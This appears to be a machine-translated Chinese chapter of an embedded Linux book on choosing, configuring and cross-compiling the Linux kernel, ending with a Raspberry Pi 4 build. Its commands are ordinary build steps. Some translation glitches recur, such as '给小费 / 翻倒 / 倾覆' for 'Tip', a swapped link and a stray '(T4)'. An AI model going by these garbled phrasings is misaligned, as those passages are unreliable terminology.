-内核有三项主要工作:管理资源、与硬件交互以及提供 API(为用户空间程序提供有用的抽象级别),如下图所示: - -![Figure 4.1 − User space, kernel space, and hardware](img/B11566_04_001.jpg) - -图 4.1.−用户空间、内核空间和硬件 - -在**用户空间**中运行的应用以较低的 CPU 特权级别运行。 除了调用图书馆,他们几乎无能为力。 **用户空间**和**内核空间**之间的主要接口是**C 库**,它将用户级函数(如 POSIX 定义的函数)转换为内核系统调用。 系统调用接口使用特定于体系结构的方法(如陷阱或软件中断)将 CPU 从低特权用户模式切换到高特权内核模式,从而允许访问所有内存地址和 CPU 寄存器。 - -**系统调用处理程序**将调用分派给适当的内核子系统:内存分配调用转到内存管理器,文件系统调用转到文件系统代码,依此类推。 其中一些调用需要来自底层硬件的输入,并将向下传递到设备驱动程序。 在某些情况下,硬件本身通过引发中断来调用内核函数。 - -重要音符 - -上图显示内核代码还有第二个入口点:硬件中断。 中断只能在设备驱动程序中处理,而不能由用户空间应用处理。 - -换句话说,您的应用所做的所有有用的事情都是通过内核完成的。 因此,内核是系统中最重要的元素之一。 因此,了解如何选择一个很重要-让我们下一步来做这件事。 - -# 选择内核 - -下一步是为您的项目选择内核,平衡始终使用最新版本软件的愿望与特定于供应商的添加需求以及对代码库的长期支持的兴趣。 - -## 内核开发周期 - -Linux 的开发速度很快,每隔 8 到 12 周就会发布一个新版本。 近年来,版本号的构建方式发生了一些变化。 在 2011 年 7 月之前,有一个版本号看起来像 2.6.39 的三位数版本方案。 中间的数字表示它是开发者还是稳定版本;奇数(2.1.x,2.3.x,2.5.x)是给开发者的,偶数是给终端用户的。 - -从 2.6 版开始,长期开发分支(奇数)的想法被放弃了,因为它降低了向用户提供新功能的速度。 2011 年 7 月,Linux 的编号从 2.6.39 更改为 3.0,纯粹是因为 Linus 觉得编号变得太大了;在这两个版本之间,Linux 的功能或体系结构并没有太大的飞跃。 他还利用这个机会去掉了中间的数字。 从那时起,在 2015 年 4 月和 2019 年 3 月,他分别将专业从 3 个调整为 4 个,将专业从 4 个调整为 5 个,同样纯粹是为了整洁,而不是因为任何重大的建筑变化。 - -Linus 管理开发内核树。 您可以通过如下方式克隆 Git 树来跟随他: - -```sh -$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git -``` - -这将签出到子目录`linux`。 您可以通过不时在该目录中运行`git pull`命令来保持最新状态。 - -目前,一个完整的内核开发周期从两周的合并窗口开始,在此期间,Linus 接受新功能的补丁。 在合并窗口结束时,稳定阶段开始,在此期间,Linus 每周发布候选版本,版本号以`-rc1`、`-rc2`等结尾,通常一直到`-rc7`或`-rc8`。 在此期间,人们测试候选人并提交错误报告和修复。 当所有重要的错误都被修复后,内核就被释放了。 - -在合并窗口期间合并的代码必须已经相当成熟。 通常,它是从内核的许多子系统和体系结构维护者的存储库中提取的。 通过保持较短的开发周期,功能可以在准备好时进行合并。 如果内核维护者认为某个特性不够稳定或开发得不够好,那么它可以简单地推迟到下一个版本。 - -跟踪各个版本的变化并非易事。 您可以在 Linus 的 Git 存储库中读取 -提交日志,但是,由于大约有 10,000 个或更多条目, -很难获得概述。 值得庆幸的是,有 Linux**KernelNewbies**网站[https://kernelnewbies.org](https://kernelnewbies.org),在那里您可以在[https://kernelnewbies.org/LinuxVersions](https://kernelnewbies.org/LinuxVersions)找到每个版本的简明概述。 - -## 稳定、长期的支持版本 - -Linux 的快速变化速度是中的一件好事,因为它为主线代码库带来了新特性,但它不太适合嵌入式项目较长的生命周期。 内核开发人员通过两种方式解决这个问题:**稳定的**版本和**长期的**版本。 在发布主线内核(由 Linus Torvalds 维护)之后,它被移到**稳定**树(由 Greg Kroah-Hartman 维护)。 错误修复应用于稳定的内核,而主线内核则开始下一个开发周期。 稳定内核的点发布用第三个数字来标记,即 3.18.1、3.18.2,依此类推。 在版本 3 之前,有四个版本号:2.6.29.1、2.6.39.2 等。 - -您可以使用以下命令获取稳定树: - -```sh -$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git -``` - -您可以使用`git checkout`获取特定版本,例如,版本 5.4.50: - -```sh -$ cd linux-stable -$ git checkout v5.4.50 -``` - -通常,只有稳定内核才会更新,直到下一个主线版本(8 到 12 -周后),所以您会看到在[https://www.kernel.org/](https://www.kernel.org/)上只有一个或有时是两个稳定内核。 为了迎合那些想要更长时间(T4)更新的用户,并确信会发现并修复任何错误,一些内核被标记为**长期**,并维护 2 年或更长时间。 每年至少有一个长期内核版本。 - -在撰写本文时查看[https://www.kernel.org/](https://www.kernel.org/),总共有 5 个长期内核:5.4、4.19、4.14、4.9 和 4.4。 最早的版本已经维护了近 5 年,版本是 4.4.256。 如果您正在构建一个需要维护这么长时间的产品,那么最新的长期内核(在本例中为 5.4)可能是个不错的选择。 - -### 供应商支持 - -在理想情况下,您可以从[Linux](https://www.kernel.org/)下载内核,并为任何声称支持 https://www.kernel.org/的设备配置它。 然而,这并不总是可能的;事实上,主流 Linux 只对可以运行 Linux 的众多设备中的一小部分提供了可靠的支持。 您可能会从独立的开源项目(如 Linaro 或 Yocto Project)或为嵌入式 Linux 提供第三方支持的公司获得对您的主板或**片上系统**(**SoC**)的支持,但在许多情况下,您必须向 SoC 或主板的供应商寻求工作内核。 - -正如我们所知,一些供应商在支持 Linux 方面比其他供应商做得更好。 在这一点上,我的建议是选择那些提供良好支持的供应商,或者更好的供应商,他们不厌其烦地将其内核更改放在主线上。 搜索 Linux 内核邮件列表或提交历史记录,了解候选 SoC 或主板最近的活动。 当主线内核没有上游更改时,对供应商是否提供良好支持的判断在很大程度上是基于口碑。 一些供应商臭名昭著,因为他们只发布了一个内核代码包,然后将所有精力重新定向到较新的 SoC 上。 - -### 发牌 - -Linux 源代码是根据 GPLv2 授权的,这意味着您必须通过许可证中指定的一种方式使内核的源代码可用。 - -内核许可证的实际文本在`COPYING`文件中。 它从 Linus 编写的附录开始,声明通过 -系统调用接口从用户空间调用内核的代码不被视为内核的衍生产品,因此不在许可证范围内。 因此,在 Linux 上运行专有应用是没有问题的。 - -然而,Linux 许可中有一个领域引起了无休止的困惑和争论:内核模块。 **内核模块**仅仅是一段在运行时与内核动态链接的代码,从而扩展了内核的功能。 GPL 没有区分静态链接和动态链接,因此内核模块的源代码似乎包含在 GPL 中。 但是,在 Linux 的早期,对于这一规则的例外情况存在争议,例如,与 Andrew 文件系统相关的例外情况。 这段代码早于 Linux,因此(有人争辩)它不是派生作品,因此许可证不适用。 - -多年来,对于其他代码段也进行了类似的讨论,结果是现在公认的做法是,GPL 不一定适用于内核模块。 这是由内核`MODULE_LICENSE`宏编码的,它可能采用`Proprietary`值来指示它不是在 GPL 下发布的。 如果您计划自己使用相同的参数,您可能希望通读一个经常被引用的电子邮件线程,标题为*Linux GPL and Binary Module Exception 子句?*,它存档于[https://yarchive.net/comp/linux/gpl_modules.html](https://yarchive.net/comp/linux/gpl_modules.html)。 - -GPL 应该被认为是一件好事,因为它保证了当我们处理嵌入式项目时,我们总是可以获得内核的源代码。 如果没有它,嵌入式 Linux 将更难使用,也会更加零散。 - -# 构建内核 - -确定构建基于哪个内核之后,下一步是构建它。 - -## 获取源代码 - -本书中使用的所有三个目标(Raspberry PI 4、Beaglebone Black 和 ARM 多功能 PB)都得到了主线内核的良好支持。 因此,使用[https://www.kernel.org/](https://www.kernel.org/)提供的最新长期内核是有意义的,在撰写本文时它是 5.4.50。 当您自己来做这件事时,您应该检查是否有更高版本的 5.4 内核,并改用该版本,因为它将修复 5.4.50 发布后发现的错误。 - -重要音符 - -如果有较新的长期版本,您可能会考虑使用该版本,但请注意,可能发生了一些更改,这意味着下面的命令序列不能完全按照给定的方式工作。 - -要获取并解压缩 5.4.50 Linux 内核的发行版 tarball,请使用以下命令: - -```sh -$ wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.4.50.tar.xz -$ tar xf linux-5.4.50.tar.xz -$ mv linux-5.4.50 linux-stable -``` - -要获取更高版本,请将`linux-`后的`5.4.50`替换为所需的长期版本。 - -这里有很多代码。 5.4 内核中有超过 57,000 个文件,其中包含 C 源代码、头文件和汇编代码,根据 SLOCCount 实用程序的测量,总计超过 1400 万行代码。 不过,有必要了解代码的基本布局,并大致知道在哪里查找特定组件。 感兴趣的主要目录如下: - -* `arch`:包含特定于体系结构的文件。 每个体系结构都有一个子目录。 -* `Documentation`:包含内核文档。 如果您想找到有关 Linux 某个方面的更多信息,请始终先查看此处。 -* `drivers`:包含设备驱动程序-数以千计。 每种类型的驱动程序都有一个子目录。 -* `fs`:包含文件系统代码。 -* `include`:包含内核头文件,包括构建 - 工具链时所需的文件。 -* `init`:包含内核启动代码。 -* `kernel`:包含核心功能,包括调度、锁定、计时器、电源管理和调试/跟踪代码。 -* `mm`:包含内存管理。 -* `net`:包含网络协议。 -* `scripts`:包含许多有用的脚本,包括我在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中描述的**设备树编译器**(**DTC**)。 -* `tools`:包含许多有用的工具,包括 Linux 性能计数器工具`perf`,我将在[*第 20 章*](20.html#_idTextAnchor561),*分析和跟踪*中介绍该工具。 - -随着时间的推移,您会逐渐熟悉这种结构,并意识到如果您正在寻找特定 SoC 的串行端口代码,您会在`drivers/tty/serial`而不是`arch/$ARCH/mach-foo`中找到它,因为它是一个设备驱动程序,而不是特定于 CPU 体系结构的东西。 - -## 了解内核配置-Kconfig - -Linux 的优势之一是您可以配置内核以适应不同的任务,从小型专用设备(如智能温控器)到复杂的移动手机。 在当前版本中,有数千个配置选项。 正确配置本身就是一项任务,但在我们进入之前,我想向您展示它是如何工作的,这样您就可以更好地了解正在发生的事情。 - -配置机制称为`Kconfig`,与其集成的构建系统称为`Kbuild`。 这两种方法都在`Documentation/kbuild`中进行了说明。 `Kconfig/Kbuild`用于许多其他项目和内核,包括 Crossstool-NG、U-Boot、Barebox 和 BusyBox。 - -配置选项是使用`Documentation/kbuild/kconfig-language.rst`中描述的语法在名为`Kconfig`的文件层次结构中声明的。 - -在 Linux 中,顶层`Kconfig`如下所示: - -```sh -mainmenu "Linux/$(ARCH) $(KERNELVERSION) Kernel Configuration" -comment "Compiler: $(CC_VERSION_TEXT)" -source "scripts/Kconfig.include" -[…] -``` - -`arch/Kconfig`的第一行是这样的: - -```sh -source "arch/$(SRCARCH)/Kconfig" -``` - -该行包含依赖于体系结构的配置文件,根据启用的选项,该文件可作为其他`Kconfig`文件的来源。 - -让架构扮演如此重要的角色有三个含义: - -* 首先,在配置 Linux 时必须通过设置`ARCH=[architecture]`来指定架构,否则默认为本地机器架构。 -* 其次,您为`ARCH`设置的值通常决定`SRCARCH`的值,因此您很少需要显式设置`SRCARCH`。 -* 第三,顶层菜单的布局对于每个体系结构都是不同的。 - -您输入到`ARCH`中的值是您在`arch`目录中找到的子目录之一,奇怪的是`ARCH=i386`和`ARCH=x86_64`都来自`arch/x86/Kconfig`。 - -`Kconfig`文件主要由菜单组成,由`menu`和`endmenu`关键字描述。 菜单项由关键字`config`标记。 - -以下是摘自`drivers/char/Kconfig`的示例: - -```sh -menu "Character devices" -[…] -config DEVMEM -    bool "/dev/mem virtual device support" -    default y -    help -      Say Y here if you want to support the /dev/mem device. -      The /dev/mem device is used to access areas of physical -      memory. -      When in doubt, say "Y". -[…] -endmenu -``` - -`config`后面的参数命名一个变量,在本例中,该变量为`DEVMEM`。 由于此选项是`bool`(布尔值),因此它只能有两个值:如果启用,则将其赋给`y`;如果未启用,则根本不定义变量。 屏幕上显示的菜单项的名称是`bool`关键字后面的字符串。 - -此配置项与所有其他配置项一起存储在名为`.config`的文件中。 - -给小费 / 翻倒 / 倾覆 - -`.config`中的前导圆点(`.`)表示它是一个隐藏文件,除非您键入`ls -a`以显示所有文件,否则`ls`命令不会显示该文件。 - -该配置项对应的行如下: - -```sh -CONFIG_DEVMEM=y -``` - -除了`bool`之外,还有其他几种数据类型。 以下是完整列表: - -* `bool`:`y`或未定义。 -* `tristate`:在功能可以构建为内核模块或构建到主内核映像中的情况下使用。 对于模块,这些值是`m`,要内置的值是`y`,如果未启用该功能,则不定义该值。 -* `int`:使用十进制记数法的整数值。 -* `hex`:使用十六进制记数法的无符号整数值。 -* `string`:字符串值。 - -项目之间可能存在依赖关系,由`depends on`结构表示,如下所示: - -```sh -config MTD_CMDLINE_PARTS -    tristate "Command line partition table parsing" -    depends on MTD -``` - -如果没有在其他地方启用`CONFIG_MTD`,则不会显示此菜单选项,因此无法选择。 - -还存在反向依赖关系;如果启用了此选项,则`select`关键字将启用其他选项。 `arch/$ARCH`中的`Kconfig`文件有大量的`select`语句,这些语句启用特定于体系结构的功能,如下面的`ARM`所示: - -```sh -config ARM -    bool -    default y -    select ARCH_CLOCKSOURCE_DATA -    select ARCH_HAS_DEVMEM_IS_ALLOWED -[…] -``` - -通过选择`ARCH_CLOCKSOURCE_DATA`和`ARCH_HAS_DEVMEM_IS_ALLOWED`,我们为这些变量赋值`y`,以便将这些特性静态地构建到内核中。 - -有几个配置实用程序可以读取`Kconfig`文件并生成`.config`文件。 它们中的一些会在屏幕上显示菜单,并允许您以交互方式进行选择。 `menuconfig`可能是大多数人熟悉的,但也有`xconfig`和`gconfig`。 - -要使用`menuconfig`,首先需要安装`ncurses`、`flex`和`bison`。 以下命令在 Ubuntu 上安装所有这些必备组件: - -```sh -$ sudo apt install libncurses5-dev flex bison -``` - -您可以通过`make`命令启动`menuconfig`,记住,对于内核,您必须提供一个体系结构,如下所示: - -```sh -$ make ARCH=arm menuconfig -``` - -在这里,您可以看到前面突出显示了`DEVMEM`配置选项的`menuconfig`: - -![Figure 4.2 − Selecting DEVMEM](img/B11566_04_002.jpg) - -图 4.2DEVMEM 选择− - -项目左侧的星号(`*`)表示已选择将驱动程序静态构建到内核中,或者,如果是`M`,则表示已选择将其构建为内核模块,以便在运行时插入到内核中。 - -给小费 / 翻倒 / 倾覆 - -您经常会看到`enable CONFIG_BLK_DEV_INITRD`之类的说明,但由于要浏览的菜单太多,可能需要一段时间才能找到设置该配置的位置。 所有配置编辑器都有搜索功能。 您可以通过按正斜杠*/*在`menuconfig`中访问它。 在`xconfig`中,它在**编辑**菜单中,但请确保省略了正在搜索的配置项目的`CONFIG_`部分。 - -由于要配置的东西太多,每次想要构建内核时都从零开始是不合理的,因此在`arch/$ARCH/configs`中有一组已知的工作配置文件,每个文件都包含单个 SoC 或一组 SoC 的合适配置值。 - -您可以使用`make [configuration file name]`命令选择一个。 例如,要使用`ARMv7-A`体系结构将 Linux 配置为在广泛的 SoC 上运行,您需要键入以下内容: - -```sh -$ make ARCH=arm multi_v7_defconfig -``` - -这是一个在各种不同主板上运行的通用内核。 对于更专业的应用,例如,当使用供应商提供的内核时,默认配置文件是主板支持包的一部分;在构建内核之前,您需要找出要使用哪个配置文件。 - -还有另一个名为`oldconfig`的有用配置目标。 您可以在将配置移动到更新的内核版本时使用它。 此目标获取现有的`.config`文件,并提示您有关新配置选项的问题。 将`.config`从旧内核复制到新的源目录,然后运行`make ARCH=arm oldconfig`命令将其更新。 - -`oldconfig`目标还可用于验证您手动编辑的`.config`文件(忽略文本**自动生成的文件;不要编辑出现在顶部的**;有时忽略警告是可以的)。 - -如果您确实对配置进行了更改,修改后的`.config`文件将成为您的主板支持包的一部分,并且需要置于源代码控制之下。 - -当您启动内核构建时,会生成一个头文件`include/generated/autoconf.h`,它包含每个配置值的`#define`,以便可以将其包含在内核源代码中。 - -既然我们已经确定了一个内核并了解了如何配置它,我们现在将着手识别我们的内核。 - -## 使用 LOCALVERSION 识别您的内核 - -您可以发现您使用`make kernelversion`和`make``kernelrelease`目标构建的内核版本和发行版: - -```sh -$ make ARCH=arm kernelversion -5.4.50 -$ make ARCH=arm kernelrelease -5.4.50 -``` - -这在运行时通过`uname`命令报告,也用于命名存储内核模块的目录。 - -如果您更改了默认配置,建议附加您自己的版本信息,您可以通过设置`CONFIG_LOCALVERSION`进行配置。 例如,如果我想用`melp`标识符和版本`1.0`标记我正在构建的内核,我将在`menuconfig`中定义本地版本,如下所示: - -![Figure 4.3 – Appending to kernel release version](img/B11566_04_003.jpg) - -图 4.3-附加到内核发布版本 - -运行`make kernelversion`会产生与以前相同的输出,但现在如果我运行`make kernelrelease`,我会看到以下内容: - -```sh -$ make ARCH=arm kernelrelease -5.4.50-melp-v1.0 -``` - -这是对内核版本控制的一次愉快的迂回,但现在让我们回到配置内核以进行编译的业务。 - -## 何时使用内核模块 - -我已经多次提到内核模块。 桌面 Linux 发行版广泛使用它们,因此可以根据检测到的硬件和所需的功能在运行时加载正确的设备和内核函数。 如果没有它们,每个单独的驱动程序和功能都必须静态链接到内核中,这使得内核变得太大了。 - -另一方面,对于嵌入式设备,硬件和内核配置通常在构建内核时就已知,因此模块不是很有用。 事实上,它们会造成问题,因为它们在内核和根文件系统之间创建了版本依赖关系,如果其中一个更新了,而另一个没有更新,则可能导致引导失败。 因此,在没有任何模块的情况下构建嵌入式内核是很常见的。 - -以下是在嵌入式系统中内核模块是一个好主意的几种情况: - -* 当您拥有专有模块时,出于上一节中给出的许可原因。 -* 通过推迟加载不必要的驱动程序来缩短引导时间。 -* 当有几个驱动程序可以加载时,静态编译它们会占用太多内存。 例如,您有一个支持多种设备的 USB 接口。 这基本上与桌面发行版中使用的论点相同。 - -接下来,让我们学习如何使用`Kbuild`编译带有或不带有内核模块 -的内核映像。 - -# 编译-Kbuild - -内核构建系统`Kbuild`是一组脚本,它们从`.config`文件获取配置信息,计算依赖项,并编译生成内核映像所需的所有内容。 该内核映像包含所有静态链接的组件,可能是设备树二进制文件,也可能是一个或多个内核模块。 依赖关系以 Make 文件的形式表示,这些文件位于每个目录中,其中包含可构建的组件。 例如,以下两行取自`drivers/char/Makefile`: - -```sh -obj-y += mem.o random.o -obj-$(CONFIG_TTY_PRINTK) += ttyprintk.o -``` - -`obj-y`规则无条件地编译文件以生成目标,因此`mem.c`和`random.c`始终是内核的部分。 在第二行中,`ttyprintk.c`依赖于配置参数。 如果`CONFIG_TTY_PRINTK`为`y`,则编译为内置;如果为`m`,则构建为模块;如果参数未定义,则根本不编译。 - -对于大多数目标,只需键入`make`(使用适当的`ARCH`和`CROSS_COMPILE`)就可以完成工作,但一次执行一步是有指导意义的。 有关`CROSS_COMPILE``make`变量的含义,请参阅[*第 2 章*](02.html#_idTextAnchor029),*了解工具链*的最后一节。 - -## 找出要构建的内核目标 - -要构建内核映像,您需要知道引导加载程序需要什么。 这是一份 -粗略指南: - -* **U-Boot**:传统上,U-Boot 需要`uImage`,但较新的版本可以使用`bootz`命令加载 - `zImage`文件。 -* **x86 目标**:需要`bzImage`文件。 -* **大多数其他引导加载程序**:需要`zImage`文件。 - -以下是构建`zImage`文件的示例: - -```sh -$ make -j 4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- zImage -``` - -给小费 / 翻倒 / 倾覆 - -`-j 4`选项告诉`make`要并行运行的作业数量,这减少了构建所需的时间。 粗略的指导是运行与 -个 CPU 核心一样多的作业。 - -为具有多平台支持的 ARM 构建`uImage`文件有一个小问题,这是当前一代 ARM SoC 内核的标准。 Linux 3.7 中引入了对 ARM 的多平台支持。 它允许一个内核二进制文件在多个平台上运行,这是在为所有 ARM 设备提供少量内核的道路上迈出的一步。 内核通过读取引导加载程序传递给它的机器编号或设备树来选择正确的平台。 出现该问题的原因是,每个平台的物理内存位置可能不同,因此内核的重新定位地址(通常是从物理 RAM 开始的`0x8000`字节)也可能不同。 - -内核构建时,重定位地址由`mkimage`命令编码到`uImage`头中,但如果有多个重定位地址可供选择,则它将失败。 换句话说,`uImage`格式与多平台镜像不兼容。 您仍然可以从多平台版本创建`uImage`二进制文件,只要给出您希望在其上引导该内核的特定 SoC 的`LOADADDR`即可。 您可以通过查看`arch/$ARCH/mach-[your SoC]/Makefile.boot`并注意`zreladdr-y`的值来找到加载地址: - -```sh -$ make -j 4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- LOADADDR=0x80008000 uImage -``` - -无论我们以哪种内核映像格式为目标,在生成可引导映像之前,都会首先创建相同的两个构建构件。 - -## 构建工件 - -内核构建在顶级目录中生成两个文件:`vmlinux`和`System.map`。 -第一个参数`vmlinux`是作为 ELF 二进制文件的内核。 如果您编译内核时启用了`debug`(`CONFIG_DEBUG_INFO=y`),则它将包含可与调试器(如`kgdb`)一起使用的调试符号。 您还可以使用其他 ELF 二进制工具,如`size`来测量组成`vmlinux`可执行文件的每个部分(`text`、`data`和`bss`)的长度: - -```sh -$ arm-cortex_a8-linux-gnueabihf-size vmlinux -   text    data      bss      dec      hex      filename -14005643   7154342   403160   21563145  1490709  vmlinux -``` - -`dec`和`hex`值分别是十进制和十六进制的总文件大小。 - -`System.map`包含人类可读形式的符号表。 - -大多数引导加载器不能直接处理 ELF 代码。 还有一个处理阶段需要`vmlinux`和将那些适用于各种引导加载程序的二进制文件放在`arch/$ARCH/boot`中: - -* `Image`:`vmlinux`已转换为原始二进制格式。 -* `zImage`:对于 PowerPC 体系结构,这只是`Image`的压缩版本,这意味着引导加载程序必须进行解压缩。 对于所有其他架构,压缩的`Image`被搭载到一个代码存根上,该代码存根对其进行解压缩和重新定位。 -* `uImage`:`zImage`加上一个 64 字节的 U-Boot 标头。 - -当构建正在运行时,您将看到正在执行的命令的摘要: - -```sh -$ make -j 4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- \ -zImage -  CC      scripts/mod/empty.o -  CC      scripts/mod/devicetable-offsets.s -  MKELF   scripts/mod/elfconfig.h -  HOSTCC  scripts/mod/modpost.o -  HOSTCC  scripts/mod/sumversion.o -[…] -``` - -有时,当内核构建失败时,查看正在执行的实际命令很有用。 为此,请将`V=1`添加到命令行: - -```sh -$ make -j 4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- \ -V=1 zImage -[…] -arm-cortex_a8-linux-gnueabihf-gcc -Wp,-MD,drivers/tty/.tty_baudrate.o.d  -nostdinc -isystem /home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/lib/gcc/arm-cortex_a8-linux-gnueabihf/8.3.0/include -I./arch/arm/include -I./arch/arm/include/generated  -I./include -I./arch/arm/include/uapi -I./arch/arm/include/generated/uapi -I./include/uapi -I./include/generated/uapi -include ./include/linux/kconfig.h -include ./include/linux/compiler_types.h -D__KERNEL__ -mlittle-endian -Wall -Wundef -Werror=strict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -fshort-wchar -fno-PIE -Werror=implicit-function-declaration -Werror=implicit-int -Wno-format-security -std=gnu89 -fno-dwarf2-cfi-asm -fno-ipa-sra -mabi=aapcs-linux -mfpu=vfp -funwind-tables -marm -Wa,-mno-warn-deprecated -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-frame-address -Wno-format-truncation -Wno-format-overflow -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fstack-protector-strong -Wno-unused-but-set-variable -Wimplicit-fallthrough -Wno-unused-const-variable -fomit-frame-pointer -fno-var-tracking-assignments -Wdeclaration-after-statement -Wvla -Wno-pointer-sign -Wno-stringop-truncation -Wno-array-bounds -Wno-stringop-overflow -Wno-restrict -Wno-maybe-uninitialized -fno-strict-overflow -fno-merge-all-constants -fmerge-constants -fno-stack-check -fconserve-stack -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -fmacro-prefix-map=./= -Wno-packed-not-aligned    -DKBUILD_BASENAME='"tty_baudrate"' -DKBUILD_MODNAME='"tty_baudrate"' -c -o drivers/tty/tty_baudrate.o drivers/tty/tty_baudrate.c -[…] -``` - -在本节中,我们了解了`Kbuild`如何获取预编译的`vmlinux`ELF 二进制文件 -并将其转换为可引导内核映像。 接下来,我们将了解如何编译设备树。 - -## 编译设备树 - -下一步是构建设备树,如果是多平台构建,则构建树。 `dtbs`目标使用该目录中的设备树源文件,根据`arch/$ARCH/boot/dts/Makefile`中的规则构建设备树。 以下是为`multi_v7_defconfig`构建`dtbs`目标的代码片段: - -```sh -$ make ARCH=arm dtbs -[…] -  DTC     arch/arm/boot/dts/alpine-db.dtb -  DTC     arch/arm/boot/dts/artpec6-devboard.dtb -  DTC     arch/arm/boot/dts/at91-kizbox2.dtb -  DTC     arch/arm/boot/dts/at91-nattis-2-natte-2.dtb -  DTC     arch/arm/boot/dts/at91-sama5d27_som1_ek.dtb -[…] -``` - -编译后的`.dtb`文件在与源代码相同的目录中生成。 - -## 编译模块 - -如果您配置了要构建为模块的某些功能,则可以使用`modules`目标单独构建它们: - -```sh -$ make -j 4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- \ -modules -``` - -编译后的`modules`有一个`.ko`后缀,并且生成在与源代码相同的目录中,这意味着它们分散在内核源代码树的各个部分。 找到它们有点棘手,但您可以使用`modules_install make`目标将它们安装在正确的位置。 在您的开发系统中,默认位置是`/lib/modules`,这几乎肯定不是您想要的。 要将它们安装到根文件系统的临时区域(我们将在下一章讨论根文件系统),请使用`INSTALL_MOD_PATH`提供路径: - -```sh -$ make -j4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- \ -INSTALL_MOD_PATH=$HOME/rootfs modules_install -``` - -内核模块被放入相对于文件系统根目录的`/lib/modules/[kernel version]`目录中。 - -## 清除内核源代码 - -清理内核源代码树有个`make`个目标: - -* `clean`:删除对象文件和大多数中间件。 -* `mrproper`:删除所有中间文件,包括`.config`文件。 使用此目标可以将源树返回到克隆或提取源代码后立即所处的状态。 如果你对这个名字很好奇,“适当先生”是世界上一些地方常见的清洁产品。 `make mrproper`的意思是给内核源代码一个很好的洗刷。 -* `distclean`:这与`mrproper`相同,但也删除了编辑器备份文件、补丁文件和软件开发的其他工件。 - -我们已经看到了内核编译步骤及其结果输出。 现在,让我们为手头的板卡构建一些内核。 - -## 为 Raspberry Pi 4 构建 64 位内核 - -尽管在主线内核中已经有了对 Raspberry PI 4 的支持,但我发现 Raspberry Pi Foundation 的 Linux 分支([https://github.com/raspberrypi/linux](https://github.com/raspberrypi/linux))在撰写本文时更加稳定。 分叉`4.19.y`分支也比同一分叉的`rpi-5.4.y`分支维护得更积极。 这种情况在不久的将来可能会改变,但目前,让我们继续使用`4.19.y`分支。 - -由于 Raspberry PI 4 拥有 64 位四核 ARM Cortex-A72CPU,我们将使用 ARM 针对 AArch64GNU/Linux 的 GNU 工具链为其交叉编译 64 位内核。 此预构建工具链可从 https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-a/downloads:下载 - -```sh -$ cd ~ -$ wget https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu.tar.xz -$ tar xf gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu.tar.xz -$ mv gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu \ -gcc-arm-aarch64-none-linux-gnu -``` - -在撰写本文时,`gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu`是当前`x86_64`Linux 托管的针对 AArch64GNU/Linux 的交叉编译器。 如果下载失败,请将前面命令中的`10.2-2020.11`替换为当前发布版本。 - -接下来,安装我们需要获取并构建内核的几个包: - -```sh -$ sudo apt install subversion libssl-dev -``` - -现在您已经安装了必要的工具链和软件包,将`4.19.y`内核 repo 克隆到名为`linux`的目录中的一个级别,并将一些预构建的二进制文件导出到`boot`子目录: - -```sh -$ git clone --depth=1 -b rpi-4.19.y https://github.com/raspberrypi/linux.git -$ svn export https://github.com/raspberrypi/firmware/trunk/boot -$ rm boot/kernel* -$ rm boot/*.dtb -$ rm boot/overlays/*.dtbo -``` - -导航到新克隆的`linux`目录并构建内核: - -```sh -$ PATH=~/gcc-arm-aarch64-none-linux-gnu/bin/:$PATH -$ cd linux -$ make ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu- \ bcm2711_defconfig -$ make -j4 ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu- -``` - -构建完成后,将内核映像、设备树 Blob 和引导参数复制到`boot`subdi 目录: - -```sh -$ cp arch/arm64/boot/Image ../boot/kernel8.img -$ cp arch/arm64/boot/dts/overlays/*.dtbo ../boot/overlays/ -$ cp arch/arm64/boot/dts/broadcom/*.dtb ../boot/ -$ cat << EOF > ../boot/config.txt -enable_uart=1 -arm_64bit=1 -EOF -$ cat << EOF > ../boot/cmdline.txt -console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootwait -EOF -``` - -上述命令都可以在脚本`MELP/Chapter04/build-linux-rpi4-64.sh`中找到。 请注意,写入`cmdline.txt`的内核命令行必须全部在一行上。 让我们将这些步骤分成几个阶段: - -1. 将树莓 Pi 基金会的内核分支的`rpi-4.19.y`分支克隆到`linux`目录中。 -2. 将`boot`子目录的内容从 Raspberry Pi Foundation 的`firmware`repo 导出到`boot`目录。 -3. 从`boot`目录中删除现有内核映像、设备树 BLOB 和设备树覆盖。 -4. 从`linux`目录中,为 Raspberry PI 4 构建 64 位内核、模块和设备树。 -5. 将新构建的内核映像、设备树 BLOB 和设备树覆盖从`arch/arm64/boot/`复制到`boot`目录。 -6. 将`config.txt`和`cmdline.txt`文件写出到引导目录,以便 Raspberry PI 4 的引导加载程序读取并传递给内核。 - -让我们看看`config.txt`中的设置。 `enable_uart=1`行在引导期间启用串行控制台,默认情况下该功能处于禁用状态。 `arm_64bit=1`行指示 Raspberry PI 4 的引导加载程序以 64 位模式启动 CPU,并从名为`kernel8.img`的文件(而不是 32 位 ARM 的默认`kernel.img`文件)加载内核映像。 - -现在,让我们看一下`cmdline.txt`。 内核命令行参数`console=serial0,115200`和`console=tty1`指示内核在内核引导时将日志消息输出到串行控制台。 